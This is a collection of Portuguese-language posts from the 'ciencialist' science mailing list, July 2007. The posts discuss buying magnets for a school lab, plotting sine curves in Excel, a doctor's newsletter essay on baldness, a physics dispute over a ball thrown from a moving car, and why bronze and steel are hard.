> >>Assunto: Re: [ciencialist] Re: Motor "revolucionário"
> >>
> >>
> >>Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da
> >>série "moto contínuo". Detalhes em
> >>
> >>http://alvaroaugusto.blogspot.com/2007/07/moto-contnuo-o-sonho-que-no-quer-morrer.html[
> >>]sAlvaro Augusto
> >>
> >>
> >>##### ##### #####
> >>
> >>Página de apoio
> >>http://www.ciencialist.com
> >>
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> >>##### ##### ##### #####
> >>Links do Yahoo! Grupos
> >>
> >>
> >>
> >>
> >>--
> >>No virus found in this incoming message.
> >>Checked by AVG Free Edition.
> >>Version: 7.5.476 / Virus Database: 269.10.9/907 - Release Date:
>18/07/2007
> >>15:30
> >>
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> >>Página de apoio
> >>http://www.ciencialist.com
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> >>Links do Yahoo! Grupos
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> > Página de apoio
> > http://www.ciencialist.com
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> > Links do Yahoo! Grupos
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>Página de apoio
>http://www.ciencialist.com
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>Links do Yahoo! Grupos
>
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SUBJECT: Re: Alguém sabe?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/07/2007 22:17

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Alguém sabe onde posso comprar ímãs para uso no laboratório didático?

Na Santa Ifigênia, por certo.

[]s,

Roberto Takata



SUBJECT: Re: [RN] Inseto robótico levanta vôo pela primeira vez
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/07/2007 22:22

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Imaginei algo assim (exceto o uso deles para entupir motores ou
> equipamentos).

Eles tb podem provocar sufocação mecânica... Milhares deles entrando
pelo nariz e bloqueando os bronquíolos.

O uso químico e radioativo pode ser bloqueado pelos tratados
existentes sobre armas não-convencionais, mas em relação aos outros
parece ser mais nebuloso qto à permissividade ou não frente às
convenções internacionais de guerra e conflitos.

Não sei quais seriam as chances de se aprovar acordos internacionais
para se proibir usos letais e de invasão de privacidade por tais
tecnologias - incluindo os futuros nanobots e quetais. Mas seguramente
as chances de violação de tais tratados parecem ser grandes, na
eventualidade de sua aprovação.

[]s,

Roberto Takata



SUBJECT: Re: TRATADO DE ATEOLOGIA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/07/2007 22:24

Favor não debater religião nesta lista.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: [RN] Inseto robótico levanta vôo pela primeira vez
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/07/2007 23:41

Bom, a interpretação dupla é sempre um problema , em se tratando do
uso de armas , ou fabricação delas . Os Rfids (acho que é esse o nome)
já enfrentam críticas parecidas.

Mas suponho que países com armas de pulso magnético talvez sejam menos
vulneráveis. Talvez , porque nao adianta ter as armas sem saber como
chegam ou quando atingir os "alvos".

Aí bateu outra curiosidade: Qual o alcance das armas de pulso? Elas
podem dar blecaute em uma cidade? bairro? estado? Os equipamentos
voltam a funcionar depois?

Gil
Em 22/07/07, rmtakata<roberto.takata@bol.com.br> escreveu:
> --- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> > Imaginei algo assim (exceto o uso deles para entupir motores ou
> > equipamentos).
>
> Eles tb podem provocar sufocação mecânica... Milhares deles entrando
> pelo nariz e bloqueando os bronquíolos.
>
> O uso químico e radioativo pode ser bloqueado pelos tratados
> existentes sobre armas não-convencionais, mas em relação aos outros
> parece ser mais nebuloso qto à permissividade ou não frente às
> convenções internacionais de guerra e conflitos.
>
> Não sei quais seriam as chances de se aprovar acordos internacionais
> para se proibir usos letais e de invasão de privacidade por tais
> tecnologias - incluindo os futuros nanobots e quetais. Mas seguramente
> as chances de violação de tais tratados parecem ser grandes, na
> eventualidade de sua aprovação.
>
> []s,
>
> Roberto Takata
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


SUBJECT: Re: [ciencialist] Pedido # 2
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/07/2007 00:26

Eu uso o OpenOffice, mas eu acredito que o jeito de fazer isso no Excel vá
ser idêntico:

Escreva na coluna A os pontos com os valores de x. No OpenOffice, se você
colocar o dois valores em duas linhas consecutivas, selecionar os campos e
usar o Edit->Fill, ela vai completar preencher uma progressão aritmética.
Depois, escreva na primeira linha, na coluna B a expressão "=SIN(A1)" ou a
equação que você quiser e usar o Edit->Fill para preencher a coluna. Se você
julgar conveniente, você pode fazer uma cascata de expressões. Por exemplo,
pra ter sin(3*x + 4) , vc pode colocar na coluna B "=3*A1", na coluna C
"=B1+4" e na coluna D "=SIN(C1), sempre usando o Edit->Fill para completar a
tabela.

Para fazer um gráfico a partir da tabela, o Excel tem um Wizard excelente
mas que eu não tenho aqui para fazer um passo a passo. Mas basicamente
consiste em selecionar as duas colunas com os dados para formar o gráfico e
ir no Insert->Chart.

Espero ter sido de ajuda

Shridhar
http://entropicando.blogspot.com

On 7/21/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> Takata et all,
>
> estou terminando um texto de título "Onda Senoidal" o qual inclui,
> obviamente, a curva senóide. Estou propondo ao leitor que construa, por
> pontos, o gráfico da função trigonométrica fundamental y = senx (depois,
> ampliar os horizontes com y = a.senx , y = a.sen(x + b) etc.).
> A técnica para a aquisição de pontos (uns 12, pelo menos, em um período),
> estou propondo uma tabela trigonométrica e/ou uma modesta calculadora
> científica. Isso tudo para depois poder conceituar corretamente o valor
> médio da função, o valor quadrático médio (rms) e suas relações com valor
> máximo (pico), diferença de fases, superposição de funções harmônicas etc.,
> usando desses dados e desses gráficos.
>
> Agora o pedido #2.
>
> Como não sei mexer com o Excel (para gráficos uso outros softwares onde
> especifico a função -- campo de definição, campo de variação -- e pronto, lá
> está a curva!), que participa do pacote Windows (que a enorme maioria tem),
> gostaria da "descrição detalhada" dos passos a ser relatados ao consulente
> para construir tal curva senoidal no Excel. Sei que o Takata é profundo
> conhecedor de todos os softwares (o que não é novidade alguma!).
> Então, podem me detalhar tal procedimento para construir, via Excel, tais
> curvetas: y = senx; y = 2.senx; y = 2.sen(x+30) [ou y = 2.sen(x+pi/6)] ?
>
> Os vidrados no Imperdível e o autor agradecem.
>
> Nota: Já recebi da Editora Livraria da Física o "boneco" para primeira
> revisão do primeiro volume (Eletrônica) do novo Manual das Feiras de
> Ciências (que terá uns 15 volumes). Vejamos se até o final do ano já estará
> nas livrarias esse primeiro volume.
> O 'lançamento' desse volume será feito aqui em Barretos mesmo; talvez da
> janela do último andar do prédio mais alto.
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Pedido # 2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/07/2007 01:29

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Então, podem me detalhar tal procedimento para construir, via Excel,
> tais curvetas: y = senx; y = 2.senx; y = 2.sen(x+30) [ou y =
> 2.sen(x+pi/6)] ?

Na planilha do Excel escreve a letra x na célula A1 e a letra y na
célula B1 - pode destacar as letras com negrito.

Nas células da coluna A colocam-se os valores de x. Nas células da
coluna B insere-se a fórmula adequada.

Colocar os valores de x é simples, basta digitar os números e ir para
a próxima célula.

Para inserir a fórmula há vários modos, o mais simples é digitar a
fórmula na célula.

No caso de seno de x, basta digitar na célula B2: =sen(A2) - se o
pacote estiver em inglês: =sin(A2). Depois q entrar a fórmula, basta
copiar e colar (é possível selecionar e arrastar o mouse para baixo
depois de clicar sobre a célula e no canto inferior direito).

É possível na mm planilha fazer várias colunas para y - nesse caso o
melhor é identificar na primeira linha o q será calculado.

A B C D
x senx sen2x 2.senx etc.

Qdo for digitar a fórmula não se esqueça do sinal de igualdade "="
antes da expressão.

Para 2.senx, a fórmula é: =2*sen(A2).
Para sen(x+2): =sen(A2+2).
Para sen(x + pi/6): =sen(A2+pi()/6). Não se esqueça dos parênteses
vazios ao chamar a constante pi: pi().

A fórmula sen do Excel usa o valor em radianos para x. Por questões de
arredondamento, o valor de sen(pi) no Excel não dá zero.

Para criar o gráfico, basta seguir um destes pequenos tutoriais:
http://www.microsoft.com/brasil/officexp/usuarios/dc_excel_12.asp
http://www2.ufpa.br/dicas/ms/exc-gra1.htm
http://www2.ufpa.br/dicas/ms/exc-gra2.htm

O tipo de gráfico é o de "dispersão (XY)". Deixei um exemplo
disponível em:
http://br.groups.yahoo.com/group/ciencialist/files/senx.xls

Parabéns pelo filho a caminho.

[]s,

Roberto Takata



SUBJECT: Re: Alguém sabe?
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/07/2007 02:33

Takata San, eu sou caipira, moro aqui no interiô e para ir pra sampa
comprar ímãs eu gastaria R$ 100,00 só de transporte. Por isso pedi
sugestões em que eu possa comprar pela Internet, sacou?

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> > Alguém sabe onde posso comprar ímãs para uso no laboratório didático?
>
> Na Santa Ifigênia, por certo.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Alguém sabe?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/07/2007 03:05

Vc não precisa vir até sampa pra comprar ímãs. Vc pode ligar - bem,
vai gastar no interurbano, mas menos de 100 reais - há catálogos como
Guia Mais, Páginas Amarelas, Guia OESP, Listel...

De todo modo há um portal específico para o comércio de Santa Ifigênia:

http://www.portaldasantaifigenia.com.br/

Tb não precisa vir a sampa só pra comprar ímãs. Pode aproveitar um fim
de semana para passear *e* fazer compras (se encher o carro com
sacolão da 25 de março dá pra pagar a passagem e ainda lucrar com a
revenda).

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Takata San, eu sou caipira, moro aqui no interiô e para ir pra sampa
> comprar ímãs eu gastaria R$ 100,00 só de transporte. Por isso pedi
> sugestões em que eu possa comprar pela Internet, sacou?




SUBJECT: ALÔ PÉCIA
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 23/07/2007 07:09

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DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 23/07/2007 - No.055 – ANO II

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

___________________________________________________________________




Olá,
Nesta segunda-feira, 23/07, vou estar participando do programa Brasil das Gerais (http://www.redeminas.mg.gov.br/Cmi/Pagina.aspx?5231), que tem como tema a importância do bom humor para a manutenção da saúde. Se estiver querendo matar um pouco o tempo, venha dar uma conferida. Será um prazer morrer de vergonha na telinha tendo você por testemunha.

Falando em TV, lembrei logo de como a lenda de Narciso parece atual nestes tempos cada vez mais fúteis e recheados de celebridades vazias.

Na Mitologia Grega, Narciso era um herói famoso pela sua beleza e orgulho. Na verdade, Narciso considerava sua beleza tão inigualável que acreditava ser uma espécie de deus. Como resultado e para dar uma lição ao rapaz frívolo, a deusa Némesis condenou Narciso a apaixonar-se pelo seu reflexo na lagoa.

Encantado pela sua própria beleza, Narciso deitou-se no banco do rio e definhou, olhando-se na água. Essa pelo menos é a lenda. Para mim, a metáfora do Narciso continua viva e fortalecida como nunca.

E se você também acha que Narciso não morreu, confira a crônica de hoje logo abaixo ou no Blog www.dralessandroloiola.blogspot.com.

Um abraço,


Dr. Alessandro Loiola.

___________________________________________________________________

Alô pécia
© Dr. Alessandro Loiola



- É só alopécia – eu disse casualmente.
O sujeito havia marcado uma consulta depois de uma brincadeira de seu filho de 5 anos de idade, que disse: “Papai! Papai! Descobri um pedaço do seu cabelo que só tem pele !”. E daí ele correu para o médico.
- Como é doutor?
- Alopécia. Essa área que está ficando sem cabelo é só Alopécia. Ou Calvície, se quiser um termo mais comum.
Senti que havia sido quase como dizer que ele estava com câncer.
- Calvície!? Brinca não, doutor. Calvície?? E eu ainda tão novo... ai ai ai....

Conversamos um pouco mais, passei as orientações necessárias e ele saiu pela rua se escondendo debaixo de um boné escrito “Hug me! I’m your Teddy Bear!”. Quer dizer, entrar na fila do banco se achando um ursinho de pelúcia pronto para ser abraçado, sem problemas. Tirar o boné e mostrar a alopécia para uma desconhecida, nem pensar!

Fiquei me perguntando - eu próprio um calvo muito convicto e orgulhoso da minha área de desmatamento em progresso no couro cabeludo – por que diabos alguém pode dar tanta importância a um topete rarefeito.

Ainda assim, o mercado capilar movimenta números impressionantes: apenas nos EUA, mais de 15.000 transplantes são realizados a cada ano e a soma dos investimentos nestas plantações (ou implantações, como queira) de folículos pilosos supera os 50 milhões de dólares. Isso para não mencionar o mercado também milionário das drogas que prometem fazer o cabelo crescer, sprays milagrosos e as famigeradas perucas – agora alçadas à nobre condição de Próteses.

Mais de 60% dos pacientes que procuram tratamento para Alopécia são homens entre os 30 e 50 anos de idade. Existem aqueles que o fazem por motivos de saúde, mas a imensa maioria está preocupada apenas com a vaidade mesmo.

A verdade é: homens e mulheres perdem cerca de 100 fios de cabelo por dia e o processo se acentua com o envelhecimento. A maioria dos homens apresenta algum grau de calvície por volta dos 60 anos de idade. Isto é normal, sendo que algumas pessoas são mais afetadas que outras – principalmente quando há uma prevalência de calvície na família.

A perda súbita ou excessiva de cabelo também pode resultar do uso de certos medicamentos, dietas muito severas, alterações hormonais, fivelas, rabos de cavalo muito apertados ou utilizados por muito tempo, infecção por fungos e outras doenças. Entretanto, Cerca de 95% dos casos de Alopécia decorrem de um distúrbio hereditário chamado Alopécia Androgenética.

A Alopécia Androgenética está diretamente ligada à produção de uma substância, a diidrotestosterona (ou DHT), que danifica os folículos pilosos. Acontece da seguinte maneira: ao circular pela corrente sanguínea, a testosterona que todos produzimos (homens e mulheres) é convertida em DHT por uma enzima muito específica, chamada 5-alfa redutase. Quanto maior a atividade desta enzima, mais DHT se ligará aos receptores nos folículos pilosos, levando a cabelos cada vez mais finos. Com a evolução do processo, o folículo atrofia e termina desaparecendo – levando consigo os preciosos fios de cabelo.

A Alopécia sempre gerou muitos mitos, mas é bom que você fique sabendo que:

· Chapéus e bonés não causam calvície.

· Plantar bananeira não aumentará o fluxo de sangue para o couro cabeludo, combatendo a queda de cabelo.

· Massagens vigorosas no couro cabeludo ou limpar excessivamente a cabeça (para “desobstruir os folículos) também não irão lhe salvar.

· Esqueça fórmulas mirabolantes e ingredientes super-secretos capazes de evitar a queda de cabelo que aparecem em comerciais durante a madrugada.
O dia em que uma técnica ou substância 100% eficaz contra a calvície surgir no mercado, você não precisará de um “especialista” na TV ou de um encarte em uma revista de cosméticos para lhe dizer o nome desse medicamento: ele simplesmente estará na capa dos principais jornais do mundo todo.

Em todos os casos, não esquente a cabeça pensando na Alopécia. Mantenha a cuca fresca, sempre. Afinal, quem você realmente é não está sobre seu couro cabeludo, mas logo abaixo dele.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (http://shoppinglivros.com.br/loja.phtml?f=1&ccat=60&cprod=1300&sess=a75e095792e3f17a7c802ddb1cb2e117). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.
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SUBJECT: Errors in the Encyclopædia Britannica that have been corrected in Wikipedia
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/07/2007 11:58

Errors in the Encyclopædia Britannica that have been corrected in Wikipedia
http://en.wikipedia.org/wiki/Wikipedia:Errors_in_the_Encyclop%C3%A6dia_Britannica_that_have_been_corrected_in_Wikipedia


SUBJECT: Re: [ciencialist] ALÔ PÉCIA
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <alessandroloiola@yahoo.com.br>, <ciencialist@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 23/07/2007 21:11

Pécia é uma das divindades do panteão olímpico e era cultuada por ter uma vasta cabeleira ruiva, coisa de muito pasmar naqueles pretéritos tempos.
Seu templo, onde havia um numero constante de 69 vestais consagradas a um futuro deus que surgiria dos áridos desertos denominado São-São. era visitado constantemente por os mais ricos cidadãos espartanos como de cavalheiros de alta estirpe e enormes proventos, oriundos de todo o mundo civilizado, em busca do milagroso elixir para restauração da pilosidade craniana.
Atualmente, em decadência, aonda recebe visitas de alguns adoradores que mantém os ritos e principalmente as massagens das jovens vestais todas denominadas Martaxas.

sds.,

silvio, historiador.

----- Original Message -----
From: Alessandro Loiola
To: alessandroloiola@yahoo.com.br
Sent: Monday, July 23, 2007 7:09 AM
Subject: [ciencialist] ALÔ PÉCIA


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Na Mitologia Grega, Narciso era um herói famoso pela sua beleza e orgulho. Na verdade, Narciso considerava sua beleza tão inigualável que acreditava ser uma espécie de deus. Como resultado e para dar uma lição ao rapaz frívolo, a deusa Némesis condenou Narciso a apaixonar-se pelo seu reflexo na lagoa.

Encantado pela sua própria beleza, Narciso deitou-se no banco do rio e definhou, olhando-se na água. Essa pelo menos é a lenda. Para mim, a metáfora do Narciso continua viva e fortalecida como nunca.

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- É só alopécia - eu disse casualmente.
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- Como é doutor?
- Alopécia. Essa área que está ficando sem cabelo é só Alopécia. Ou Calvície, se quiser um termo mais comum.
Senti que havia sido quase como dizer que ele estava com câncer.
- Calvície!? Brinca não, doutor. Calvície?? E eu ainda tão novo... ai ai ai....

Conversamos um pouco mais, passei as orientações necessárias e ele saiu pela rua se escondendo debaixo de um boné escrito "Hug me! I'm your Teddy Bear!". Quer dizer, entrar na fila do banco se achando um ursinho de pelúcia pronto para ser abraçado, sem problemas. Tirar o boné e mostrar a alopécia para uma desconhecida, nem pensar!

Fiquei me perguntando - eu próprio um calvo muito convicto e orgulhoso da minha área de desmatamento em progresso no couro cabeludo - por que diabos alguém pode dar tanta importância a um topete rarefeito.

Ainda assim, o mercado capilar movimenta números impressionantes: apenas nos EUA, mais de 15.000 transplantes são realizados a cada ano e a soma dos investimentos nestas plantações (ou implantações, como queira) de folículos pilosos supera os 50 milhões de dólares. Isso para não mencionar o mercado também milionário das drogas que prometem fazer o cabelo crescer, sprays milagrosos e as famigeradas perucas - agora alçadas à nobre condição de Próteses.

Mais de 60% dos pacientes que procuram tratamento para Alopécia são homens entre os 30 e 50 anos de idade. Existem aqueles que o fazem por motivos de saúde, mas a imensa maioria está preocupada apenas com a vaidade mesmo.

A verdade é: homens e mulheres perdem cerca de 100 fios de cabelo por dia e o processo se acentua com o envelhecimento. A maioria dos homens apresenta algum grau de calvície por volta dos 60 anos de idade. Isto é normal, sendo que algumas pessoas são mais afetadas que outras - principalmente quando há uma prevalência de calvície na família.

A perda súbita ou excessiva de cabelo também pode resultar do uso de certos medicamentos, dietas muito severas, alterações hormonais, fivelas, rabos de cavalo muito apertados ou utilizados por muito tempo, infecção por fungos e outras doenças. Entretanto, Cerca de 95% dos casos de Alopécia decorrem de um distúrbio hereditário chamado Alopécia Androgenética.

A Alopécia Androgenética está diretamente ligada à produção de uma substância, a diidrotestosterona (ou DHT), que danifica os folículos pilosos. Acontece da seguinte maneira: ao circular pela corrente sanguínea, a testosterona que todos produzimos (homens e mulheres) é convertida em DHT por uma enzima muito específica, chamada 5-alfa redutase. Quanto maior a atividade desta enzima, mais DHT se ligará aos receptores nos folículos pilosos, levando a cabelos cada vez mais finos. Com a evolução do processo, o folículo atrofia e termina desaparecendo - levando consigo os preciosos fios de cabelo.

A Alopécia sempre gerou muitos mitos, mas é bom que você fique sabendo que:

· Chapéus e bonés não causam calvície.

· Plantar bananeira não aumentará o fluxo de sangue para o couro cabeludo, combatendo a queda de cabelo.

· Massagens vigorosas no couro cabeludo ou limpar excessivamente a cabeça (para "desobstruir os folículos) também não irão lhe salvar.

· Esqueça fórmulas mirabolantes e ingredientes super-secretos capazes de evitar a queda de cabelo que aparecem em comerciais durante a madrugada.
O dia em que uma técnica ou substância 100% eficaz contra a calvície surgir no mercado, você não precisará de um "especialista" na TV ou de um encarte em uma revista de cosméticos para lhe dizer o nome desse medicamento: ele simplesmente estará na capa dos principais jornais do mundo todo.

Em todos os casos, não esquente a cabeça pensando na Alopécia. Mantenha a cuca fresca, sempre. Afinal, quem você realmente é não está sobre seu couro cabeludo, mas logo abaixo dele.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de "Vida e Saúde da Criança" e "Crianças em forma: saúde na balança" (http://shoppinglivros.com.br/loja.phtml?f=1&ccat=60&cprod=1300&sess=a75e095792e3f17a7c802ddb1cb2e117). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.
__________________________________________________________
P A R T I C I P E !

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__________________________________________________________
P A R A A S S I N A R & C A N C E L A R

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Visite http://br.groups.yahoo.com/group/saudeparatodos ou mande um e-mail para:
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© Dr. Alessandro Loiola MSN: alessandroloiola@yahoo.com.br

Fone/Fax +55 (31) 3232-0555 __________________________________________________________

VIVER É A MAIOR AVENTURA. VIVA COM SAÚDE.


Dr. Alessandro Loiola, M.D.
CRMMG 30.278
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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/07/2007 23:22

Comentários no texto abaixo, após JR -.
..........................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 12:33 AM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Isso ocorreria *se* a aceleração horizontal atuasse de forma
> constante durante todo o movimento da bola. Entretanto o empuxo do
> vento deslocado pelo carro não atua de forma permanente e uniforme
> sobre a bola.

Mm um vento q produz aceleração variável não se safa. Entenda q o
cálculo realizado antes mostrava q a velocidade do vento teria q ser
de uns 64 km/h (uma velocidade já absurda para um vento produzido por
uma caminhoneta a 100 km/h). Em uma situação de vento variável esse
seria o valor médio. Se ele se dilui com o tempo, significa q o vento
teria q soprar *ainda* mais rapidamente.
JR - Vc se esqueceu que a velocidade horizontal sofreu uma alteração abrupta
e significativa ao tocar na pista pela primeira vez... O empuxo do vento
pode ser considerado no trecho parabólico antes da bola tocar o solo pela
primeira vez. Após isso observamos que há outros componentes - interferindo
no movimento - além do empuxo do vento.

E novamente teríamos um arco de parábola distorcido.

O vento não pode ser um fator importante para a velocidade da bola sob
pena da trajetória ser incompatível.
JR - Em que trecho? Entendo que no primeiro trecho é perfeitamente
compatível.

> eu lhe lembrei que, anteriormente, já tinha mencionado isso de
> passagem, veja: [ A trajetória da bola só descreveria uma reta
> inclinada 45° *se* a aceleração horizontal fosse aplicada exatamente
> igual a gravitacional. ]

O q vc mencionou tem pouco a ver. Não falei q a reta teria 45o de
inclinação, apenas q a trajetória seria reta. E não se trata de modo
algum de uma antecipação ao q eu disse, vc falou isso somente depois q
eu mencionei q trajetória com aceleração horizontal seria uma reta.
JR - Mencionei antes para esclarecer, com um exemplo de fácil visualização,
que a bola não tem uma aceleração uniforme e constante ao longo de sua
trajetória.

Qdo vc achar uma função de ax q seja compatível com a trajetória da
bola a gente conversa.
JR - Como fiz anteriormente, volto a pedir para identificar a qual trecho da
trajetória vc se refere... Entendo que há trajetórias que descrevem funções
diferentes, por terem agentes diferentes. Isso fica visível quando
analisamos a trajetória no primeiro trecho - após lançamento até o solo - e
a trajetória assumida pela bola após tocar no solo pela primeira vez.

[]s,
Roberto Takata

Abraços
José Renato



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/07/2007 23:41

Sua conclusão está baseada em plotagem imprecisa devido à baixa qualidade de
filmagem. Não dá para concluir de modo minimamente aceitável. Isso fica
patente quando vc chega a uma velocidade do vento de 116,72 km/h, que
provoca um empuxo que acelera a bola em 9,53 m/s²!!! É muita elucubração...

[]s

José Renato
......................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 1:15 AM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Mm um vento q produz aceleração variável não se safa.

Vamos analisar o movimento da bola do lançamento até antes de tocar o
solo pela primeira vez:

http://br.groups.yahoo.com/group/ciencialist/files/ball5.JPG

Analisemos qto tempo terá se passado do início do movimento até o
ponto de intersecção entre as linhas rosas.

A bola caiu 18 cm verticalmente. E horizontalmente se deslocou 17,5cm.

-0,18 = -1/2.9,8.deltat1^2
deltat1' ~ 0,1917 s

Vmx1' = deltaS1/deltat1 = 0,175/0,1917 ~ 0,913 m/s

A velocidade final seria:
Vx1' = 2.Vmx1' ~ 1,83 m/s

A aceleração média seria de:
ax1' = Vx1'/deltat1' ~ 9,53 m/s2

Isso resulta em um ventinho de nada menos q 116,72 km/h.

[]s,

Roberto Takata



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Version: 7.5.476 / Virus Database: 269.10.10/908 - Release Date: 19/7/2007
18:10




SUBJECT: Bronze
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 00:41

Alguém sabe explicar o porquê a liga de Cu e Sn, popularmente
conhecida como Bronze, produz um material muito mais duro do que os
metais isolados? Pode ser uma pergunta meio obvia para alguns, mas não
encontrei nada quimicamente satisfatório pela net. Quem se habilita?
Esteban.


SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 00:43

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Sua conclusão está baseada em plotagem imprecisa devido à baixa
> qualidade de filmagem.

Não. Ela se vale de cálculos matemáticos. Vc pode variar bastante os
valores e a conclusão geral é essencialmente a mesma. Antes de vc
tentar ficar inventando desculpas, deveria ao menos verificar o q vc
diz: vc poderia apresentar outras estimativas do movimento q fossem
compatíveis a sua hipótese da influência eólica.

> Não dá para concluir de modo minimamente aceitável. Isso fica
> patente quando vc chega a uma velocidade do vento de 116,72 km/h,
> que provoca um empuxo que acelera a bola em 9,53 m/s²!!! É muita
> elucubração...

Isso não é fruto da elucubração, não minha pelo menos. É fruto de se
assumir a premissa de q o vento promove influência significativa. Ou
seja, demonstra-se por absurdo q o vento NÃO pode ser influência
significativa.

A relação Faer=Cx.1/2.d.V'^2.A - em q Faer é a força aerodinâmica de
arrasto, Cx o coeficiente aerodinâmico, d a densidade do ar, V' a
velocidade relativa do objeto no ar e A a área da seção transversal do
objeto (relativamente ao fluxo do ar); as relações V = dx/dt e a =
dV/dt aliadas à limitação do deslocamento horizontal da bola do
lançamento até pouco antes do primeiro quique e à limitação da V' em
menos de 100 km/h e a trajetória em arco de parábola é q fazem com q a
sua sugestão seja incompatível com a realidade.

Em vez de ficar inventando desculpas, faça o seguinte: encontre uma
estimativa razoável para as coordenadas da bola e uma função a(t) q
seja compatível com a trajetória da bola.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Bronze
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 01:18

Vou adicionar também uma outra pergunta: como o carbono deixa o ferro mais
duro na liga de aço? Me parece que o segredo está na estrutura cristalina
que se forma...

Shridhar
http://entropicando.blogspot.com

On 7/23/07, Esteban Moreno <estebanlmoreno@gmail.com> wrote:
>
> Alguém sabe explicar o porquê a liga de Cu e Sn, popularmente
> conhecida como Bronze, produz um material muito mais duro do que os
> metais isolados? Pode ser uma pergunta meio obvia para alguns, mas não
> encontrei nada quimicamente satisfatório pela net. Quem se habilita?
> Esteban.
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Alguém sabe?
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 01:30

Grato pela ajuda.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Vc não precisa vir até sampa pra comprar ímãs. Vc pode ligar - bem,
> vai gastar no interurbano, mas menos de 100 reais - há catálogos como
> Guia Mais, Páginas Amarelas, Guia OESP, Listel...
>
> De todo modo há um portal específico para o comércio de Santa Ifigênia:
>
> http://www.portaldasantaifigenia.com.br/
>
> Tb não precisa vir a sampa só pra comprar ímãs. Pode aproveitar um fim
> de semana para passear *e* fazer compras (se encher o carro com
> sacolão da 25 de março dá pra pagar a passagem e ainda lucrar com a
> revenda).
>
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> > Takata San, eu sou caipira, moro aqui no interiô e para ir pra sampa
> > comprar ímãs eu gastaria R$ 100,00 só de transporte. Por isso pedi
> > sugestões em que eu possa comprar pela Internet, sacou?
>




SUBJECT: Re: Alguém sabe?
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 01:31

A propósito, a busca do portal indicado resulta em:

Resultado da Busca por: ímãs
